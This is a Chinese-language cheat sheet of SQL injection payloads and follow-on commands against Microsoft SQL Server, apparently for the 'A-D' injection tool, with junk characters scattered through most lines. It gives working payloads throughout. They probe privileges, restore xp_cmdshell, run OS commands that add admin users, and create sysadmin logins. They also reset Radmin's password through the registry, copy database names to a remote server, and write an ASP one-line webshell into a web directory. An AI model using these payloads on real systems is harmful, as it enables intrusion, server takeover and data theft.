阿D常用的一些注入命令+ {! z/ l. K0 ^7 `1 o! o/ N9 g6 s9 q* W4 q
//看看是什么权限的
/ R( H. B' V! \; K4 Vand 1=(Select IS_MEMBER('db_owner'))
' P1 ?" }/ v( k! S0 e* U9 e3 s) E! mAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
G0 Y& g8 d+ A h# b) z
7 H. i$ g$ {: P: g, ^, T7 D" D0 d' Z//检测是否有读取某数据库的权限7 I; c, j$ s4 v8 z
and 1= (Select HAS_DBACCESS('master'))
5 ]1 X, z% D2 G. t0 F6 NAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --6 K |4 i' X: p! ~* u
" n$ r: p6 q I& Q0 e" S
% B7 f) W2 T) @ N8 Y" D数字类型
: Y; N4 H7 R( U! [1 o) _; R4 hand char(124)%2Buser%2Bchar(124)=0
3 c3 l2 V; s5 L# Q- ?; U R3 P) Q- r' J0 k5 Q8 O- X
字符类型+ W2 d* J1 T( ^ W' s* Z4 w
' and char(124)%2Buser%2Bchar(124)=0 and ''='6 a- A U! ^) e. I1 M% B; s* Q+ H
! M) e1 {1 \- o
搜索类型
1 n3 M3 L5 E2 i9 w R* F' and char(124)%2Buser%2Bchar(124)=0 and '%'='
& u3 l- N; a* y1 u6 F+ T/ v
" s- l; v( [3 F8 R7 n2 x爆用户名/ `! X4 g* z. Q' ~& b# d& a2 B% x2 J
and user>0/ {& x. S$ M. q) v8 m% E, m5 z' K
' and user>0 and ''='6 h% O4 K+ W. @ A
% |$ E, K" O* x/ ]* l1 A* |检测是否为SA权限8 c4 i2 [2 N! K# p: e& |
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--; I/ P7 \+ f: E9 u
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
3 k; S$ `1 l4 l$ w$ X) E7 L+ L
. q w8 D$ x; ^9 B7 h$ N) s检测是不是MSSQL数据库
# z8 o2 v( m7 Z) F- wand exists (select * from sysobjects);--
4 r* N& x4 h/ Q* H' _9 V# Y: c; Z8 J6 y$ `
检测是否支持多行
- ^ f/ W6 A. {1 y4 o7 j0 O$ t;declare @d int;--
, Z8 v7 Z6 {; S' t
- K' n, X9 E9 p) L' s恢复 xp_cmdshell
& l, s; O5 X F;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--8 O9 X% x3 a3 J/ O! a2 i
4 n F6 D6 |& W" S, l, b" C6 M/ h! v, ]7 }/ h _5 w
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
] { r) Z5 Z
" R: X# D% U, n. n//-----------------------
3 ~- d4 z) u! l8 S0 n5 X/ z// 执行命令
+ i: }, P* {! `/ ]8 f3 n//-----------------------0 c& m1 f4 J$ R. r1 i) B
首先开启沙盘模式:6 e, ^: Q: Q; E, X+ q
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1, w9 B' |* e- @7 J
+ B" X: V/ k" c8 P
然后利用jet.oledb执行系统命令
$ e2 v( @: T* z# v( P/ Mselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
4 x( f. W# b( L0 P4 T
' M* V( D j, s6 [2 N1 s+ V$ _+ F* @/ U: y执行命令
1 V1 C+ v/ W' I& O g8 a, y( O;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--" n2 Y; \2 O, ~2 m) ]* ]* p. n
5 d! r* C& J2 `; B& G; M& n/ z
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'% G) _9 J& F& ~+ n1 u
9 w; t. ~! `8 M; X$ N1 G判断xp_cmdshell扩展存储过程是否存在:4 m" J! S6 d E) s5 J# D' ~+ N6 }
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')! l. o9 D6 r/ H' L$ U6 W& U; q0 Y
: n9 j1 `' t- v, |
写注册表
3 r) h0 X3 B- a8 }exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1( p5 T# @5 S3 z: u
$ P" ?9 M6 L3 rREG_SZ& R5 U3 b2 N# y/ M& w- I- f& t
+ t% l* j) `+ l9 G8 e' }0 s
读注册表
) K1 J; H; ?$ t5 B# `exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
" P1 g' Z8 ], j0 W. J: @4 C( {6 z' w- W# O
读取目录内容
( N% b v% @: N4 H$ O G1 q: Wexec master..xp_dirtree 'c:\winnt\system32\',1,1
1 T$ ~8 z3 u. t6 Q) ~5 x7 Y* n# r% i. X# B
( A$ ] L: b% j: t! f2 ]: a2 x- ~数据库备份
) [9 }: ~; P9 r& l* a7 Wbackup database pubs to disk = 'c:\123.bak'
l. c% ^5 t/ R) ~0 ^
' s8 }7 M1 w4 e* h6 e" N7 P//爆出长度/ N2 N$ _3 S) s
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--. A" d, \$ p5 c5 |
* ?' R1 z$ D( N: \" o+ I( v
$ [. j# R& U+ j2 ]* [5 v
! Y( _: M, N0 T, o5 l
更改sa口令方法:用sql综合利用工具连接后,执行命令:
7 u( Q2 Y& O* l; Q+ }! m5 }& c3 fexec sp_password NULL,'新密码','sa'
. V' k. U* C' p# |& O0 C
; d6 [9 Y1 n" n9 V6 K' q添加和删除一个SA权限的用户test:
. ?! v2 } e- a2 e3 dexec master.dbo.sp_addlogin test,ptlove% j& l2 z+ L) U* P! H, f
exec master.dbo.sp_addsrvrolemember test,sysadmin6 J3 j$ k; v. d: e3 l
2 D) o+ |. T3 r* o2 J0 d删除扩展存储过过程xp_cmdshell的语句:
+ H8 f+ y" \2 m, g9 \" f' d9 ?exec sp_dropextendedproc 'xp_cmdshell'
$ y! k% X4 [, }$ c& S6 j
- V6 B3 t. E# p) H! U添加扩展存储过过程7 G" J4 m R0 B2 j! t( p" }* O( a( X
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 4 Q' o: g) K w: n" m3 p
GRANT exec On xp_proxiedadata TO public 6 t8 D X* j" Y" Q
8 ^) v% ~$ s9 r! e: o
3 a2 D5 u6 Z+ p0 D0 H' y j& {9 P停掉或激活某个服务。
. P7 V. ^- T7 u8 j; Z1 w
" N( T4 U' f- s: i+ J3 a: m rexec master..xp_servicecontrol 'stop','schedule'; C9 v7 H6 t5 o e) j
exec master..xp_servicecontrol 'start','schedule') N V' } Q; w4 n' F
* q0 K4 C2 ]. q. Z S' \: Pdbo.xp_subdirs) x' I. [4 a+ C5 D. r& ?6 Q) d: ~
1 w' \2 p' {$ a4 Y2 e" {$ P
只列某个目录下的子目录。
( U G* \# Q# ` ~& [' ?xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
% J+ E: p& `9 p) Q8 P, q" G; Y/ b5 R( Z
dbo.xp_makecab; B$ i: r: x0 U" V; h$ L; D
7 W- S2 t) S* s1 V将目标多个档案压缩到某个目标档案之内。
1 J Q! @: K1 Z0 {( S* b: _# U% e所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
5 \! F2 |: y8 N# R" d* r) S- y
( U0 K& x1 d, }' w3 qdbo.xp_makecab
0 ~, c7 k8 y" g! Y'c:\test.cab','mszip',1,
& ]+ q6 O# k% \'C:\Inetpub\wwwroot\SQLInject\login.asp',
/ R0 l4 I) V! D: r'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'2 N2 ^7 _& P( @; j) j
9 p% h9 d. @; r, @: {. B7 I
xp_terminate_process
' h9 Z7 r5 F. |
b* V# f5 S& A停掉某个执行中的程序,但赋予的参数是 Process ID。( g3 r* g: P5 L# |3 d: s8 p5 B( n
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
! z. A$ F0 O/ D. C2 {1 a! {! ?6 v. _8 V% k+ j
xp_terminate_process 2484$ p3 O- _: L. c8 z, R, G8 s& d9 v
: N. g' J' X! |1 ~7 R
xp_unpackcab
( t, g/ k$ I6 A/ F+ s! ^! K, y) O' b0 ~4 a, E, J
解开压缩档。+ ]6 f- e* \1 ]" a8 C9 r! F5 y6 w
) w" e& Z" d% _: Yxp_unpackcab 'c:\test.cab','c:\temp',1
6 {% p9 G0 W! C5 m7 A: X: W; g' ]1 |* { w* y3 I7 o, f, Y
3 D0 Z, H" \! U/ b0 K2 Y0 N3 R
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
" {# @8 L+ _, N! @/ I' [
. z/ R& V$ q: O+ w% X# o) Bcreate database lcx;+ b) S* _ W6 W( m5 G9 A- K9 q
Create TABLE ku(name nvarchar(256) null);
6 G7 x0 ~, W7 _7 jCreate TABLE biao(id int NULL,name nvarchar(256) null);
' ~8 s' c, g4 v4 \2 ^: g6 D) r# r1 {/ {2 D* k
//得到数据库名 i5 E/ t& q' v/ W2 a) z( f
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
& [6 z7 V7 Z. y3 ]+ Q/ p( J+ {* ~( o H3 m6 \
$ v; i6 G6 }+ B! M
//在Master中创建表,看看权限怎样
- Y* l. p$ j$ w$ U) fCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
6 ^4 q( |+ [* [* Q! }" E
3 U& C) w" M: k; v2 T用 sp_makewebtask直接在web目录里写入一句话马: [% Z$ o8 [ e9 m8 ~2 O. R
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--; u& {) P' U) x3 V+ j6 K! a
' h6 e8 u$ P: M0 L* Z- i& ~//更新表内容. n" F, {6 ~7 s) p4 ]
Update films SET kind = 'Dramatic' Where id = 123$ ~) j9 U U8 [" v8 l7 x" W& u. X
/ F" ?+ B7 D9 e3 O, p, o
//删除内容
6 L3 d# F3 e1 _2 D! C& M/ `delete from table_name where Stockid = 3 |